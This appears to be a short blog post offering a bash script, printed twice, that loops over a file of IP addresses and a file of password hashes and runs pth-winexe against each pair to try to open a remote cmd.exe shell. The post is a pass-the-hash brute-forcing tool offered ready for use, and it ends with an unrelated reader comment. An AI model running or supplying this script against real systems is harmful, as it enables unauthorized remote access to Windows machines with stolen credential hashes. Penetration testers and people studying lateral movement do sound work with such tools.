Here's a simple script to try a list of hashes out against a list of IPs:
#!/bin/bash
# This pass the hashes in a file of IPs (passed as the FIRST parameter)
# and test every hash in a file of hashes (passed as the SECOND parameter)
# i.e. root#PassTheHashBruteForcer.sh FileOfIPs.txt FileOfHashes.txt
echo "syntax is: "
echo "root#PassTheHashBruteForcer.sh FileOfIPs.txt FileOfHashes.txt"
while read -r line1
do
while IFS='' read -r line2 || [[ -n "$line2" ]]; do
#echo "$line1 $line2"
echo "/usr/bin/pth-winexe -U $line2 //$line1 cmd.exe"
/usr/bin/pth-winexe -U $line2 //$line1 cmd.exe
#pth-winexe -U $line //10.11.1.$line1 cmd.exe
#echo "Text read from file: $line"
done < "$2"
done < "$1"
#!/bin/bash
# This pass the hashes in a file of IPs (passed as the FIRST parameter)
# and test every hash in a file of hashes (passed as the SECOND parameter)
# i.e. root#PassTheHashBruteForcer.sh FileOfIPs.txt FileOfHashes.txt
echo "syntax is: "
echo "root#PassTheHashBruteForcer.sh FileOfIPs.txt FileOfHashes.txt"
while read -r line1
do
while IFS='' read -r line2 || [[ -n "$line2" ]]; do
#echo "$line1 $line2"
echo "/usr/bin/pth-winexe -U $line2 //$line1 cmd.exe"
/usr/bin/pth-winexe -U $line2 //$line1 cmd.exe
#pth-winexe -U $line //10.11.1.$line1 cmd.exe
#echo "Text read from file: $line"
done < "$2"
done < "$1"
John, do you have an email? We met years ago!
ReplyDelete